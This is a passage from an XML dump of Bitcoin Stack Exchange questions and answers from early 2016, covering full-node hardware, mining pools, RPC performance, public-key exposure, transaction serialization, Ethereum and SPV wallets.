&lt;code&gt;miniupnp&lt;/code&gt;. A good node would be at a minimum in a different user account, not not different hardware from production services. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Will Bitcoin XT be alerting on any double spend transactions that occurred no matter how the attack succeeded ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin XT is irrelevant. The Bitcoin Core software does not handle alerting you to this, however the best canonical chain changing makes it fairly obvious through the RPC interface. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it Okay to host a high bandwidth and Intensive website along with a bitcoin daemon?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. Bitcoin Core is extremely intensive on CPU, IO and memory. It is an extremely harsh test of hardware and will frequently find underlying issues like disk and RAM failure better than any other test- at the cost of your stability. You don't want a vulnerable web server next to something storing money. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How Unlikely is it to pull of an attack to a website that credit users on 6 confirmations?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Perhaps unlikely. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2016-01-12T17:43:29.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42306" PostTypeId="1" CreationDate="2016-01-12T19:54:42.150" Score="1" ViewCount="2086" Body="&lt;p&gt;I'm thinking about running a bitcoind full node to help out the bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be feasible to run a full node through one of the new macbooks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(12&quot;, 250GB HD, 8GB RAM, 1.1 GHz Intel Core M processor)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="31336" LastActivityDate="2016-01-15T13:45:48.303" Title="Running a full node on a macbook?" Tags="|bitcoind|full-node|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42307" PostTypeId="2" ParentId="42306" CreationDate="2016-01-12T20:06:37.423" Score="1" Body="&lt;p&gt;It's certainly possible. I used to run a full bitcoind node on a 5 year old MacBook Air. I stopped (and moved it to a larger machine) because the size of the blockchain database was becoming annoying - it's &lt;a href=&quot;https://blockchain.info/charts/blocks-size&quot; rel=&quot;nofollow&quot;&gt;currently 52 GB&lt;/a&gt; and always gets bigger. If you can spare the space, there's no problem with actually doing it.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2016-01-12T20:06:37.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42308" PostTypeId="2" ParentId="42304" CreationDate="2016-01-12T20:39:01.257" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How Unlikely is it to pull of an attack to a website that credit users on 6 confirmations?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would say extremely unlikely as discussed &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8360/how-many-confirmations-do-i-need-to-ensure-a-transaction-is-successful&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12033/how-many-confirmations-does-bitpay-wait&quot;&gt;here&lt;/a&gt;, &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/3lp5ne/how_many_confirmations_do_you_make_your_customers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=950279.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Unless you are selling small islands on the website there would be no incentive to acquire the immense resources required for an attack.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-01-12T20:39:01.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42309" PostTypeId="1" AcceptedAnswerId="42313" CreationDate="2016-01-12T20:51:49.123" Score="2" ViewCount="787" Body="&lt;p&gt;I am trying to use bitcoins on my website. For this I use EasyBitcoin-PHP. It works good except that it is very slow. It takes about 5 seconds to load a simple script like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require_once 'easybitcoin.php'; &#xA;$bitcoin = new Bitcoin('...', '...');&#xA;echo $bitcoin-&amp;gt;getinfo();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a faster alternative than EasyBitcoin-PHP or is there a way to make it faster?&lt;/p&gt;&#xA;" OwnerUserId="31880" LastActivityDate="2016-01-14T18:23:22.753" Title="EasyBitcoin-PHP very slow" Tags="|json-rpc|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42310" PostTypeId="1" CreationDate="2016-01-12T21:20:33.117" Score="-2" ViewCount="748" Body="&lt;p&gt;I plan on mining bitcoin, and I would like to know a good mining pool that pays in USD per Unit Time per CPU rate (preferred) or BTC per Unit Time per GPU/ASIC rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know &#xA;1. The highest rate for such a pool in USD or BTC, and&#xA;2. The highest rate for such a pool in USD (direct USD payment)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know such a pool exists, I just need names. If you do not think such a pool exists, I would like to know of a pool with a high success rate or with lots of power as to provide a near steady income. Thank you for any and all answers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT] for CPU to GPU or ASIC&lt;/p&gt;&#xA;" OwnerUserId="31928" LastEditorUserId="11253" LastEditDate="2016-01-21T19:44:05.977" LastActivityDate="2016-08-26T14:31:29.013" Title="Bitcoin Mining -&gt; A mining pool that pays in USD (preferred) or BTC per Unit Time per CPU rate" Tags="|mining-pools|" AnswerCount="1" CommentCount="3" ClosedDate="2016-08-26T15:07:36.857" ContentLicense="CC BY-SA 3.0" />
  <row Id="42311" PostTypeId="2" ParentId="42310" CreationDate="2016-01-12T21:42:08.883" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;You can't mine with CPU. &lt;/li&gt;&#xA;&lt;li&gt;All mining pools pay BTC. They all pay pretty similar. &lt;/li&gt;&#xA;&lt;li&gt;You won't get any income. 0 with CPU or less than your electricity cost if you have better hardware. Only people that really know what they are doing AND can pay for the latest hardware in decent quantities (without getting scammed by the manufacturer) AND have access to large amounts of cheap electricity will be able to earn a bit of income.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="6256" LastEditDate="2016-01-15T02:19:49.647" LastActivityDate="2016-01-15T02:19:49.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42313" PostTypeId="2" ParentId="42309" CreationDate="2016-01-13T00:02:13.393" Score="3" Body="&lt;p&gt;This is likely implementation specific. Bitcoind is an intensive application to run on a basic server, especially if the webapp lives on the same machine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should never directly connect a page's code with Bitcoin Core, for static information you should run a cronjob to update a cache every &lt;code&gt;n&lt;/code&gt; seconds. If all you're showing is the last 10 blocks, maybe you shouldn't have every user at that moment triggering calls for the same data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: It's worth mentioning that RPC responses suffer a delay whenever Bitcoin Core is syncing, whether syncing for the first time, or being switched on after a day. This is because the block verification functions block for a while.&lt;/p&gt;&#xA;" OwnerUserId="11123" LastEditorUserId="11123" LastEditDate="2016-01-14T18:23:22.753" LastActivityDate="2016-01-14T18:23:22.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42314" PostTypeId="1" AcceptedAnswerId="42358" CreationDate="2016-01-13T00:35:42.443" Score="1" ViewCount="327" Body="&lt;p&gt;If there is a private key that leads to a collision on an address, it is possible to show that the private key is not the one used previously, even though they have a collision on the address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, if there was a collision on one of the Satoshi-owned early blocks, could it be challenged, to show that the person who got it didn't have the initial private key? Specifically, if they signed the same script that was used originally, wouldn't it generate a different signature, while the original owner would be able to reproduce the original signature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;David&lt;/p&gt;&#xA;" OwnerUserId="31570" LastEditorUserId="5406" LastEditDate="2021-02-20T03:25:43.750" LastActivityDate="2021-02-20T03:25:43.750" Title="Proving collisions on Bitcoin addresses without discovery of the private key?" Tags="|private-key|hash|cryptography|key-collision|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42315" PostTypeId="2" ParentId="42141" CreationDate="2016-01-13T00:39:56.630" Score="0" Body="&lt;p&gt;This falls into an explicitly gray area, as called out by a number of people when bitlicense was first adopted. For example, see; &lt;a href=&quot;https://twitter.com/twobitidiot/status/606157758224834561&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/twobitidiot/status/606157758224834561&lt;/a&gt; and the linked tweet. Also see: &lt;a href=&quot;https://coincenter.org/2015/02/our-initial-thoughts-on-new-yorks-revised-bitlicense-proposal/&quot; rel=&quot;nofollow&quot;&gt;https://coincenter.org/2015/02/our-initial-thoughts-on-new-yorks-revised-bitlicense-proposal/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Practically, if you're not acting as a custodian, then it's unlikely to be enforceable, and they will leaver you alone. If you are, effectively acting as a custodian over the funds, it is possible that NY could choose to go after you - and they have expensive lawyers.&lt;/p&gt;&#xA;" OwnerUserId="31570" LastActivityDate="2016-01-13T00:39:56.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42316" PostTypeId="2" ParentId="42306" CreationDate="2016-01-13T02:49:12.553" Score="1" Body="&lt;p&gt;You sure can. The trickiest part is the initial download of the full blockchain. It will take about ~4 days. It might be 52Gb but doing a Get Info will show 64Gb. You've got heaps of space though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully you've seen: &lt;a href=&quot;https://bitcoin.org/en/full-node#mac-os-x-yosemite-1010x&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/full-node#mac-os-x-yosemite-1010x&lt;/a&gt; and you'll want to enable incoming connections: &lt;a href=&quot;https://bitcoin.org/en/full-node#enabling-connections&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/full-node#enabling-connections&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you should see yourself on this map here: &lt;a href=&quot;https://bitnodes.21.co/#join-the-network&quot; rel=&quot;nofollow&quot;&gt;https://bitnodes.21.co/#join-the-network&lt;/a&gt; once you're up and running.&lt;/p&gt;&#xA;" OwnerUserId="31581" LastEditorUserId="31581" LastEditDate="2016-01-15T04:35:22.460" LastActivityDate="2016-01-15T04:35:22.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42320" PostTypeId="1" AcceptedAnswerId="42330" CreationDate="2016-01-13T12:59:41.333" Score="3" ViewCount="2240" Body="&lt;p&gt;Because every time when someone want to spend some money under an address, he need to provide public key and sent the content to the mainnet. (Please correct me if that is not correct)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8195/where-can-i-look-to-see-a-revealed-public-key&quot;&gt;Where can I look to see a revealed public key?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is some remaining money under this address, is that possible that the other will copy the public key and generate another request(with this copy) to use those money?&lt;/p&gt;&#xA;" OwnerUserId="31947" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-01-13T18:35:33.433" Title="Is that safe to expose public key to the mainnet" Tags="|transactions|public-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42321" PostTypeId="2" ParentId="42320" CreationDate="2016-01-13T13:17:41.173" Score="1" Body="&lt;p&gt;Regular Bitcoin transactions are push payments. There is no way to withdraw money from an address, it must be sent. Except for diminishing privacy there is no security risk to revealing a public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A replay attack is not possible, because balances are encapsulated in Unspent Transaction Outputs. While they can be signed over by the owner of the private key of an address, they are identified by the transaction they originated from. Unspent Transaction Outputs are used up completely when a transaction is created, therefore they are not available for a replay attack.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-01-13T13:17:41.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42323" PostTypeId="1" AcceptedAnswerId="42414" CreationDate="2016-01-13T15:04:46.137" Score="2" ViewCount="413" Body="&lt;p&gt;I'm trying to figure out how to derive the addresses field from a serialized tx. Take for instance this transaction on the test network&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;46993a02c0f271e8106159581fd2329d46818b9888b5123290c5d1da1718b8b9&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The serialized format for this tx is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt; &lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the json format is this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;hex&quot; : &quot; &quot;,&#xA;    &quot;txid&quot; : &quot;46993a02c0f271e8106159581fd2329d46818b9888b5123290c5d1da1718b8b9&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;71d85197037a7760fdf7a1b42861e26234758cf7485cbb27911ccbe0b07e0eb9&quot;,&#xA;            &quot;vout&quot; : 1,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;0 3045022100c2602e5f6bb2a0df006f734493a404f491abade27f2c1a9d0c7c7fd249de00b20220111b273b653dc2d0ec890e10d89d7e7a095fd88e27e588f5a60ba5d80ad3c8bb01 3045022100cc574b83104238d94e8c6abda28d33ce2377c324263bfa62ce6f240fa60356fb0220117970c87c00169630f5f368bf90f0f11ea156a7befdab0299ee4f3577a229ed01 5221031d1f0c5147b30190cc837b180c2e2a09733f4fd5d146809091950a80383e92682103bb7f1955df8f9b52bfaa908a0e968ad019ef5e8b832ae405e6d882aeda10ec5321028ea4acd57ae1abd53260b32d252472691ea4402d9ac9d4d0fb8fb4636544a4d453ae&quot;,&#xA;                &quot;hex&quot; : &quot;00483045022100c2602e5f6bb2a0df006f734493a404f491abade27f2c1a9d0c7c7fd249de00b20220111b273b653dc2d0ec890e10d89d7e7a095fd88e27e588f5a60ba5d80ad3c8bb01483045022100cc574b83104238d94e8c6abda28d33ce2377c324263bfa62ce6f240fa60356fb0220117970c87c00169630f5f368bf90f0f11ea156a7befdab0299ee4f3577a229ed014c695221031d1f0c5147b30190cc837b180c2e2a09733f4fd5d146809091950a80383e92682103bb7f1955df8f9b52bfaa908a0e968ad019ef5e8b832ae405e6d882aeda10ec5321028ea4acd57ae1abd53260b32d252472691ea4402d9ac9d4d0fb8fb4636544a4d453ae&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        },&#xA;        {&#xA;            &quot;txid&quot; : &quot;71d85197037a7760fdf7a1b42861e26234758cf7485cbb27911ccbe0b07e0eb9&quot;,&#xA;            &quot;vout&quot; : 0,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;0 3045022100b922b6495ce11ab5b8959e0fb97a40bc98011d32b81ece252f2d3bfaf3c34ccf0220194951276272a21c7c0e001d26e68ca9a532927c0c703902ac96a4933824b0e101 3044022100dd7bbfba7d765843580d158bf9ef92ba34798d82a42e0098b8acd229cfd6afc3021f55d516e1913bbce390e6fd251d4da483a05e7cb8e510a02f9c6e2d92e574da01 522103e9b16e8ef73855ffa479d7c1b655f99d6834003c6608210b575a0c6bc6c062632103f12e2f8a3357ba47e8ea91b5ce2325dbc9346e4d2bf8db5d30f9422201bc320e210392a98eb30cb3840e47b3b081f43508da37e499272ede8c95f27b9afca813257953ae&quot;,&#xA;                &quot;hex&quot; : &quot;00483045022100b922b6495ce11ab5b8959e0fb97a40bc98011d32b81ece252f2d3bfaf3c34ccf0220194951276272a21c7c0e001d26e68ca9a532927c0c703902ac96a4933824b0e101473044022100dd7bbfba7d765843580d158bf9ef92ba34798d82a42e0098b8acd229cfd6afc3021f55d516e1913bbce390e6fd251d4da483a05e7cb8e510a02f9c6e2d92e574da014c69522103e9b16e8ef73855ffa479d7c1b655f99d6834003c6608210b575a0c6bc6c062632103f12e2f8a3357ba47e8ea91b5ce2325dbc9346e4d2bf8db5d30f9422201bc320e210392a98eb30cb3840e47b3b081f43508da37e499272ede8c95f27b9afca813257953ae&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 0.00240000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_HASH160 5868dadcf00a6fff4cc54752e6e75b046d24aad6 OP_EQUAL&quot;,&#xA;                &quot;hex&quot; : &quot;a9145868dadcf00a6fff4cc54752e6e75b046d24aad687&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;scripthash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;2N1Jh4cYEFPvw43kZaJovks3hwMWFRUdJ9E&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.11055498,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_HASH160 d81e64eb5a16486b3b5b9dc14eda3412e40ca863 OP_EQUAL&quot;,&#xA;                &quot;hex&quot; : &quot;a914d81e64eb5a16486b3b5b9dc14eda3412e40ca86387&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;scripthash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;2NCwxMYedhG73QXxDC8jDXY9i5mw4KGcAqo&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ],&#xA;    &quot;blockhash&quot; : &quot;0000000000000fc2902d17140996a27be5d9dfaf8480ea786fa83dc656da72ca&quot;,&#xA;    &quot;confirmations&quot; : 10,&#xA;    &quot;time&quot; : 1452693415,&#xA;    &quot;blocktime&quot; : 1452693415&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm looking through the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#raw-transaction-format&quot; rel=&quot;nofollow&quot;&gt;developer guide examples&lt;/a&gt;, and it does not seem like the &lt;code&gt;addresses&lt;/code&gt; field on the vout's are actually serialized. The same thing is true for &lt;code&gt;reqSigs&lt;/code&gt;. How are they being derived for the transaction if they are not explicitly serialized inside of it? &lt;/p&gt;&#xA;" OwnerUserId="20835" LastEditorUserId="20835" LastEditDate="2016-01-13T15:11:36.910" LastActivityDate="2016-01-18T02:19:10.883" Title="How to derive the 'addresses' field on an output from a serialized tx" Tags="|transactions|bitcoind|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42329" PostTypeId="1" CreationDate="2016-01-13T18:08:22.253" Score="3" ViewCount="315" Body="&lt;p&gt;im new to bitcoin and want to find out which is the best API or way for getting the bitcoin balance of a bitcoin address for any bitcoin address in C#&lt;/p&gt;&#xA;" OwnerUserId="31889" LastActivityDate="2016-11-09T02:57:13.987" Title="getting the unspent bitcoins based on bitcoin address" Tags="|website-integration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42330" PostTypeId="2" ParentId="42320" CreationDate="2016-01-13T18:35:33.433" Score="2" Body="&lt;p&gt;To claim (spend) the bitcoin from an address one needs to create a transaction and provide two things: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a public key (from which the address you are trying to access is actually derived from**) and &lt;/li&gt;&#xA;&lt;li&gt;a signature of the transaction (with the private key that corresponds to the above public key**)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When you spent some money from an address the rest will typically go back to the originating address as change (see section Output &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are correct that the public key will be exposed after the first transaction. An attacker would have your public key. However, this poses no threat since the public key can be, well, public without compromising security. This is how &lt;a href=&quot;https://en.wikipedia.org/wiki/Public-key_cryptography&quot; rel=&quot;nofollow&quot;&gt;public key cryptography&lt;/a&gt; works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the signature that provides the real security. To create such a signature one needs the private key corresponding to the public key. And that is never revealed in the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above two links provide a lot of detail of how public key cryptography and bitcoin transaction work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** Note that a bitcoin address is created from the public key with a one-way function (the reverse is not possible). Similarly, a public key is created from the private key with a one-way function. i.e. with the private key one can re-create the rest.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-01-13T18:35:33.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42331" PostTypeId="1" AcceptedAnswerId="42346" CreationDate="2016-01-13T18:47:57.297" Score="5" ViewCount="1533" Body="&lt;p&gt;Is Ethereum essentially Bitcoin with a Turing-complete scripting language and, if I understand correctly, where the script to be executed (not its hash) is placed in the Ethereum blockchain?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If so, why doesn't Ethereum just put hashes of its scripts in the Bitcoin blockchain, send the scripts to be executed through another secure means such as via a P2P network (which would greatly reduce blockchain bloat), and avoid being an altcoin altogether?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If not, is the gas limit the real distinguishing feature of Ethereum compared to Bitcoin? Or is gas really Ethereum's equivalent of Bitcoin's transaction fees? Also, would Ethereum's adoption of proof-of-stake further differentiate Ethereum from Bitcon?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;cf. &lt;a href=&quot;https://github.com/ethereum/wiki/wiki/White-Paper&quot; rel=&quot;noreferrer&quot;&gt;Ethereum's white paper&lt;/a&gt;&lt;/sup&gt;&#xA;&lt;br&gt;&lt;sub&gt;(cf. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1326759&quot; rel=&quot;noreferrer&quot;&gt;the related BitcoinTalk.org thread&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="121614" LastEditDate="2022-06-04T16:29:46.923" LastActivityDate="2022-06-04T16:29:46.923" Title="Is Ethereum essentially Bitcoin with Turing-complete Script?" Tags="|transaction-fees|script|ethereum|proof-of-stake|turing-completeness|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42332" PostTypeId="2" ParentId="42329" CreationDate="2016-01-13T18:56:52.730" Score="1" Body="&lt;p&gt;The easiest way would be to use the API of a block explorer. Several provide such an API and some have wrapper libraries for C#.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the blockchain.info blockchain explorer has such an &lt;a href=&quot;https://blockchain.info/api&quot; rel=&quot;nofollow&quot;&gt;API&lt;/a&gt; and has a C# wrapper as well. Consult their &lt;a href=&quot;https://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow&quot;&gt;Blockchain Data API&lt;/a&gt; which explains how to get the balance (among other data) from an address. More specifically, you need to call the following (HTTP) API:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/address/$bitcoin_address?format=json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is a json object and &quot;final_balance&quot; is what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the C# wrapper you can find an example on how to get the balance of an address (and many other things) &lt;a href=&quot;https://github.com/blockchain/api-v1-client-csharp/blob/master/docs/blockexplorer.md&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could query a bitcoin node directly. The easiest way to do that in C# would be to use a &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;wrapper library&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="31844" LastEditDate="2016-01-13T21:01:46.217" LastActivityDate="2016-01-13T21:01:46.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42333" PostTypeId="1" AcceptedAnswerId="42338" CreationDate="2016-01-13T19:18:57.517" Score="2" ViewCount="563" Body="&lt;p&gt;Is simplified payment validation (SPV) decentralized?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viz., when an SPV client wants to verify a payment, does it connect to a central server or to several random peers, checking that their Merkle tree traversals for the transaction to be verified all agree?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;&lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;Choose your Bitcoin wallet&lt;/a&gt;&quot; from Bitcoin.org says (e.g., for GreenAddress's Android wallet) &quot;Decentralized validation,&quot; which it describes as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This wallet connects to a random server from a list. This means some trust in third parties is required when verifying payments. However, it is not as secure as a full node like &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Core&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How is &quot;connect[ing] to a random server from a list&quot; decentralized?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However (e.g., for iOS's BreadWallet) it says &quot;Simplified validation&quot; instead, which it describes as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This wallet uses SPV and the Bitcoin network. This means very little trust in third parties is required when verifying payments. However, it is not as secure as a full node like &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Core&lt;/a&gt;. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2016-01-13T19:44:45.477" LastActivityDate="2016-01-15T08:30:34.880" Title="Is simplified payment validation (SPV) decentralized?" Tags="|decentralization|spv|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42335" PostTypeId="2" ParentId="19278" CreationDate="2016-01-13T19:37:32.140" Score="0" Body="&lt;p&gt;The transaction you are looking at is transaction &lt;a href=&quot;https://blockchain.info/tx/7dd8efe094e11c890eea7dc65e9bc7fb44903ed3e9b856e854d7d31e247ea1f2&quot; rel=&quot;nofollow&quot;&gt;7dd8efe094e11c890eea7dc65e9bc7fb44903ed3e9b856e854d7d31e247ea1f2&lt;/a&gt;. This string is the hex encoded SHA256 hash of the transaction itself and serves as a unique identifier (each transaction has its unique hash).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The left column lists the input addresses from which the bitcoins where claimed, i.e., the &quot;sending&quot; addresses. An address is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Base58&quot; rel=&quot;nofollow&quot;&gt;base58&lt;/a&gt; encoded string, comprising the network identifier (1 for Bitcoin Mainnet), the 20 byte hash of the public key and a 4 byte checksum. As you can see the address &lt;a href=&quot;https://blockchain.info/address/1AqTMY7kmHZxBuLUR5wJjPFUvqGs23sesr&quot; rel=&quot;nofollow&quot;&gt;1AqTMY7kmHZxBuLUR5wJjPFUvqGs23sesr&lt;/a&gt; shows up twice because we reference a specific output to be spent. That address has received some coins in two different transactions and now we merge them into this transaction. Next to each input is the value it contributed to the transaction and a link to the output being spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the right side you have similar information for the outputs this transaction creates: a destination address and the amount of coins that are destined to that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this transaction claims coins from 5 outputs (for a total of 109.32071408 BTC) on the left and redistributes the coins to the new outputs on the right (also totalling 109.32071408 BTC). Each output is associated with an address and a value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the sum of inputs minus the sum of outputs is 0, there is no fee attached to this transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally the $1453 is the dollar value of the outputs destined for the address page you were looking at at the time. This number is how many bitcoins were transferred to/from this address (&lt;a href=&quot;https://blockchain.info/address/1AqTMY7kmHZxBuLUR5wJjPFUvqGs23sesr&quot; rel=&quot;nofollow&quot;&gt;1AqTMY7kmHZxBuLUR5wJjPFUvqGs23sesr&lt;/a&gt;) as part of this transaction.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-01-13T19:37:32.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
